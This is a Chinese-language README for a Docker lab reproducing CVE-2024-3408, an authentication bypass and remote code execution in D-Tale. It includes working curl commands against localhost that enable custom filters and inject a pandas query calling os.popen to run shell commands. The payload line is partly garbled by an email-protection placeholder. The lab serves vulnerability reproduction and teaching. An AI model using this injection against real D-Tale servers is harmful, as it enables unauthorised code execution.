CVE-2024-3408 - D-Tale 身份验证绕过与 RCE

用于复现 CVE-2024-3408 的可复现实验室环境，该漏洞是 D-Tale 中的身份验证绕过和远程代码执行漏洞。

漏洞

D-Tale 3.15.1 及更早版本存在漏洞，原因如下：

1. 硬编码的 SECRET_KEY（"Dtale"）用于 Flask 会话签名——允许伪造会话 Cookie
2. 通过自定义过滤器执行代码——test-filter 端点使用 pandas query，可被滥用以执行任意 Python 代码

CVSS：9.8（严重）
受影响版本：D-Tale <= 3.15.1

快速开始

docker compose up -d --build

D-Tale 将在 http://localhost:40000 上可用

验证

# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}

# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
  --data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)

清理

docker compose down

参考

• Huntr 报告 (CVE-2024-3408)
• Huntr 报告 (CVE-2025-0655)
• NVD
• D-Tale GitHub

免责声明

本实验室环境仅用于教育和已授权的安全测试目的。请勿将其用于你不拥有或未经许可测试的系统。